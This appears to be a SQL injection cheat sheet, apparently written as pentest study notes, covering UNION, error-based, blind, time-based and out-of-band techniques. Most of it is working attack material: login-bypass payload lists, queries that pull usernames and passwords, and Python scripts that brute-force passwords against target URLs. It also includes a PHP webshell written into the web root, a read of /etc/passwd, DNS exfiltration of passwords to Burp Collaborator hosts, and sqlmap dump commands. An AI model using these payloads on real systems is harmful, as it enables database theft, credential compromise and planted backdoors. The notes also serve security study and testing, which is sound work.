SQLi is a common web application vulnerability that is caused by unsanitized user input being inserted into SQL queries.
Examining the database
Some core features of the SQL language are implemented in the same way across popular database platforms, and so many ways of detecting and exploiting SQL injection vulnerabilities work identically on different types of database.
You can potentially identify both the database type and version by injecting provider-specific queries to see if one works
The following are some queries to determine the database version for some popular database types:
Database Type | Query |
---|---|
mssql, mysql | SELECT @@version |
oracle | SELECT * FROM v$version |
postgresql | SELECT version() |
Listing the contents of the database
Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.
For example, you can query information_schema.tables
to list the tables in the database:
SELECT * FROM information_schema.tables
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
Listing contents of an Oracle database
On Oracle, you can find the same information as follows:
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
Union Attack
When an application is vulnerable to SQL injection and the results of the query are returned within the application’s responses, the UNION
keyword can be used to retrieve data from other tables within the database.
MySQL syntax for the example:
$sql = "SELECT id, name, text FROM example WHERE id=" . $_GET['id'];
Column Number Enumeration
After detect that the application is vulnerable to SQLi we need to know how many columns are queried. To do that task we are going to use order by to guess the number of columns retrieved. The idea is to increment the number until get an error.
/index.php?id=1 order by 1
/index.php?id=1 order by 2
/index.php?id=1 order by 3
/index.php?id=1 order by 4 - ERROR
Finding Columns with a useful data type
Now that we know how many columns are in the table, we can use this information to retrieve information. But we need to before understand where this information will be displayed, so we are going to set parameteres to that fields.
/index.php?id=1 union all select NULL, NULL, NULL
Note: The reason for using
NULL
as the values returned from the injectedSELECT
query is that the data types in each column must be compatible between the original and the injected queries.NULL
is convertible to every commonly used data type.
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
If the data type of a column is not compatible with string data, the injected query will cause a database error.
Extracting Data from Database
Now knowing that the third column is for descriptions, we can put there all information.
/index.php?id=1 union all select 1, 2, @@version
/index.php?id=1 union all select 1, 2, user()
/index.php?id=1 union all select 1, 2, schema_name from information_schema.schemata
/index.php?id=1 union all select 1, 2, schema_name from information_schema.schemata where schema_name!='information_schema' and schema_name!='performance_schema' and schema_name!='sys' and schema_name!='mysql'
/index.php?id=1 union all select 1, 2, table_name from information_schema.tables
/index.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
/index.php?id=1 union all select 1, username, passwords from users
Read files
Some databases allows us to read or write files in the filesystem.
/index.php?id=1 union all select 1, 2, load_file('/etc/passwd')
Retrieving multiple values within a single column
We can also concat multiple values for examples users and passwords and print on a single column.
' UNION SELECT username || '~' || password FROM users--
The output will be:
administrator~s3cure
wiener~peter
carlos~montoya
From SQLi to RCE (PHP)
Since we are allowed to upload files, we can upload a webshell to the web root.
/index.php?id=1 union all select 1, 2, "<?php system($_GET['cmd']);?>" into OUTFILE '/var/www/html/backdoor.php'
In case of exploiting a Microsoft SQL Server check this:
Login Bypass
The most classic ones:
' or '1'='1
' or 1=1-- -
' or 1=1#
Then others:
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
Knowing the username
When we are aware of some username we can impersonate him with SQLi by introducing the username and commenting the rest of the SQL Query.
administrator'-- -
administrator'#
Error Based SQLi
Use CONVERT
or CAST
to force an ERROR and see the output of the query on errors logs.
Example of Microsoft SQL Server:
1', CONVERT(int,SELECT FROM .)
a',convert(int,(SELECT CURRENT_USER)))--
a',convert(int,(SELECT DB_NAME(0))))--
a',convert(int,(SELECT DB_NAME(1))))--
# SELECT FIRST TABLE
a',convert(int,(SELECT TOP 1 name from DATABASE..sysobjects where xtype='U')))--
# SELECT A N TABLE (OFFSET)
a',convert(int,(SELECT name from DATABASE..sysobjects where xtype='U' ORDER BY name OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY )))--
# SELECT A N COLUMN NAME(OFFSET) of TABLE
a',convert(int,(SELECT name from DATABASE..syscolumns WHERE id = (SELECT id FROM DATABASE..sysobjects WHERE name = 'TABLE') ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY)))--
# DUMP - repeat it modifyng the OFFSET to retrieve all table entries
a',convert(int,(SELECT username FROM DATABASE..TABLE ORDER BY username OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY)))--
a',convert(int,(SELECT password FROM DATABASE..TABLE ORDER BY password OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY)))--
Example of MySQL:
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-- -)
AND updatexml(rand(),concat(CHAR(126),user(),CHAR(126)),null)-- -)
AND 1=CAST((SELECT example_column FROM example_table) AS int)
Blind SQLi
A SQLi is blind because we don’t have access to the error log or any type of output which difficult a lot the process of exploitation.
Triggering Conditional Responses
We are going to try to distinct the application response to a TRUE
and FALSE
query.
xyz' AND '1'='1
xyz' AND '1'='2
If we can get the difference of these two queries we can use substring to retrieve data.
But first we need to know the lenght of the data to retrieve.
xyz' AND LENGTH((SELECT password FROM users WHERE username='admin')) > 5 -- -
xyz' AND LENGTH((SELECT password FROM users WHERE username='admin')) = 15 -- -
xyz' AND SUBSTRING((SELECT password FROM USERS WHERE username='admin'), 1, 1) >'m
xyz' AND SUBSTRING((SELECT password FROM USERS WHERE username='admin'), 1, 1) ='s
xyz' AND SUBSTRING((SELECT password FROM USERS WHERE username='admin'), 2, 1) ='a
The following is a python example script to automate the data retrieval of a alphanumerical 20 characters length password.
import requests
results = ""
letters = '1234567890zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate", "Connection": "close"
}
for i in range(20):
print("[!] Character %s" % str(i+1) )
for l in letters:
payload = "' AND SUBSTRING((SELECT username FROM users WHERE username='administrator'), %s,1) = '%s" % (str(i+1), l)
cookies = {
"TrackingId": "Xv2KlSXeuXAWb9NQ" + payload,
"session": "iuxOBNDd4wHkhbbOiUVlQBHTv9AchuTu"
}
r = requests.get("https://example.com/sqli", headers=headers, cookies=cookies)
if "Welcome back!" in r.text:
print(" [+] Character Found: %s" % l)
results += l
break;
print("[!] Finished")
print("[+] Final results:")
print(results)
Another example of retrieving databases names:
import requests
session = requests.Session()
letters = 'rotasdfghjklzxcvbnmqweyuip_@ZXCVBNMASDFGHJKLQWERTYUIOP=+\'", 0123456789.-$%&*!'
# GET LENGTH OF PAYLOAD:
# Payload: (SELECT table_name from information_schema.tables LIMIT 1 OFFSET 1)
def get_length(payload):
for i in range(1,100):
#print(" [!] Length: %s" % i)
paramsGet = {"contextid":"189112","filename":"17042023164857_test.pdf' AND LENGTH(%s)=%s-- -" % (payload,i)}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0","Connection":"close","Sec-Fetch-Dest":"document","Sec-Fetch-Site":"none","Sec-Fetch-User":"?1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate, br","Sec-Fetch-Mode":"navigate"}
cookies = {"MoodleSession":"otdcni86r8k5u520fcfh5ump30"}
response = session.get("https://example.com/certificates/download.php", params=paramsGet, headers=headers, cookies=cookies)
if response.status_code == 200:
#print("\t[+]--- Length FOUND : %s" % str(i))
return i
# GET TABLENAME
# Payload: (SELECT table_name from information_schema.tables LIMIT 1 OFFSET 1)
# Length: 14
def get_value(payload, length):
out = ''
for i in range(1,length+1):
for l in letters:
paramsGet = {"contextid":"189112","filename":"17042023164857_test.pdf' AND SUBSTRING(%s,%s,1)='%s'-- -" % (payload,i,l)}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0","Connection":"close","Sec-Fetch-Dest":"document","Sec-Fetch-Site":"none","Sec-Fetch-User":"?1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate, br","Sec-Fetch-Mode":"navigate"}
cookies = {"MoodleSession":"otdcni86r8k5u520fcfh5ump30"}
response = session.get("https://example.com/certificates/download.php", params=paramsGet, headers=headers, cookies=cookies)
if response.status_code == 200:
print("\t[+] Letter FOUND : %s" % str(l))
out+=l
break
return out
# GET FIRST 10 DATABASES
for i in range(0,10):
print("[!] DATABASE %s" % i)
payload = "(SELECT schema_name from information_schema.schemata WHERE schema_name!='information_schema' AND schema_name!='performance_schema' AND schema_name!='sys' AND schema_name!='mysql' LIMIT 1 OFFSET %s)" % str(i)
length = get_length(payload)
print("\t[+] DATABASE %s LENGTH: %s" %(i, length))
value = get_value(payload, length)
print("\t[+] DATABASE %s VALUE: %s" %(i, value))
Conditional Responses by triggering SQL errors
If injecting different boolean conditions makes no difference to the application’s response we can force an error using the 1/0
.
Example of a OracleDB query:
xyz' || (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END) ||'a
xyz' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END) ||'a
If we can get the difference of these two queries we can use substring to retrieve data.
xyz' || (SELECT CASE WHEN (LENGTH(password) > 5) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a
xyz' || (SELECT CASE WHEN (LENGTH(password) = 15) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a
xyz' || (SELECT CASE WHEN (SUBSTR(password, 1, 1) > 'm') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a
xyz' || (SELECT CASE WHEN (SUBSTR(password, 1, 1) = 's') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a
Example of Mysql query:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
Triggering time delays (time based)
Since we are not aware about any type of error or output we can use sleeps if the applications works synchronously.
'; IF (1=2) WAITFOR DELAY '0:0:10'-- -
'; IF (1=1) WAITFOR DELAY '0:0:10'-- -
If it loads for 10 seconds extra we know that the database is processing our sleep()
command.
We can use this info to obtain information.
- Example of mssql
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
- Example of postgresql
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END
Dump tables
It can also be done with sqlmap or manually with a custom script. In that case the script is dumping MD5 hashes from password field.
import requests
chars = "0123456789abcdef"
def GetSQL(i,c):
return "admin' and substr(password,%s,1) = '%s' -- -" % (i,c)
for i in range(1,33):
for c in chars:
injection = GetSQL(i,c)
payload = {'username':injection,'password':"randompassword"}
r = requests.post('http://10.10.10.73/login.php',data=payload)
if 'Wrong identification' in r.text:
print(c,end='',flush=True)
break
print()
Note: MD5 hash are hexadecimal with 33 character length.
Using out-of-band (OAST) techniques
An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user’s request in the original thread, and uses another thread to execute a SQL query using the tracking cookie.
So we can do DNS queries to exfiltrate data.
- Examaple of mssql
'; exec master..xp_dirtree '//burpcollaborator.net/a'--
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.burpcollaborator.net/a"')--
- Example of OracleDB
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT 'a')||'.collaborator.com/"> %remote;]>'),'/l') FROM dual-- -
SQL injection in different contexts
In the previous labs, you used the query string to inject your malicious SQL payload. However, you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database.
These different formats may provide different ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often look for common SQL injection keywords within the request, so you may be able to bypass these filters by encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S
character in SELECT
:
<stockCheck>
<productId>123</productId>
<storeId>999 SELECT * FROM information_schema.tables</storeId>
</stockCheck>
Cheat Sheet
String Concatenation
We can concatenate together multiple strings to make a single strings. It also works to do a subquery
- Oracle:
'foo'||'bar'
- Microsoft:
'foo'+'bar'
- PostgreSQL:
'foo'||'bar' '||(SELECT '' FROM users WHERE ROWNUM = 1)||'
- MySQL:
'foo' 'bar' CONCAT('foo', 'bar')
Note: It’s important while concatenating to only retrieve one element.
'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
Substring
We can extract a part of a string, from a specified offset with a specified length.
- Oracle:
SUBSTR('foobar', 4, 2)
- Microsoft:
SUBSTRING('foobar', 4, 2)
- PostgreSQL:
SUBSTRING('foobar', 4, 2)
- MySQL:
SUBSTRING('foobar', 4, 2)
Comments
We can use comment to truncate a query and remove the portion of the original query that follows our input.
- Oracle:
--comment
- Microsoft:
--comment /*comment*/
- PostgreSQL:
--comment /*comment*/
- MySQL:
#comment -- comment (space included) /*comment*/
Database Version
- Oracle:
SELECT banner FROM v$version SELECT version FROM v$instance
- Microsoft:
SELECT @@version
- PostgreSQL:
SELECT version()
- MySQL:
SELECT @@version
Database Contents
- Oracle:
SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLENAME'
- Microsoft:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- PostgreSQL:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- MySQL:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Conditional Errors
- Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
- Microsoft:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
- PostgreSQL:
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END)
- MySQL:
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Stacked Queries
We can use batched or stacked queries to execute multipels queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. This technique is primarily of use in realtion to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error or time delay.
- Oracle:
Does not support batched queries
- Microsoft:
QUERY 1; QUERY 2
- PostgreSQL:
QUERY 1; QUERY 2
- MySQL:
QUERY 1; QUERY 2
Time Delays
- Oracle:
dbms_pipe.receive_message(('a'),10)
- Microsoft:
WAITFOR DELAY '0:0:10'
- PostgreSQL:
SELECT 1 FROM pg_sleep(10)
- MySQL:
SELECT SLEEP(10)
Conditional Time Delays
- Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
- Microsoft:
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
- PostgreSQL:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
- MySQL:
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS Lookup
We can cause the database to perform a DNS lookup to an external domain.
- Oracle: The following technique leverages an XXE vulnerability to trigger a DNS lookup. THe vulnerability has been patched but there are many unpatched Oracle installations in existence.
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
The following payload works on fully patched oracle database but need elevated privileges.
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
- Microsoft:
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
- PostgreSQL:
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
- MySQL: Only on Windows.
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
DNS Lookup with data exfiltration
We can also use DNS lookups to exfiltrate data such as passwords or other fields of a table.
- Oracle:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
- Microsoft:
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
- PostgreSQL:
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
- MySQL: Only on Windows.
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
Automatization with sqlmap
# Post
sqlmap -r request.txt -p username
# Get
sqlmap -u "http://example.com/index.php?id=1" -p id
# Crawl
sqlmap -u http://example.com --dbms=mysql --crawl=3
Note:
request.txt
is a request saved in BurpSuite.
Dumping a Table
sqlmap -r request.txt -p username -D database_name -T table_name --dump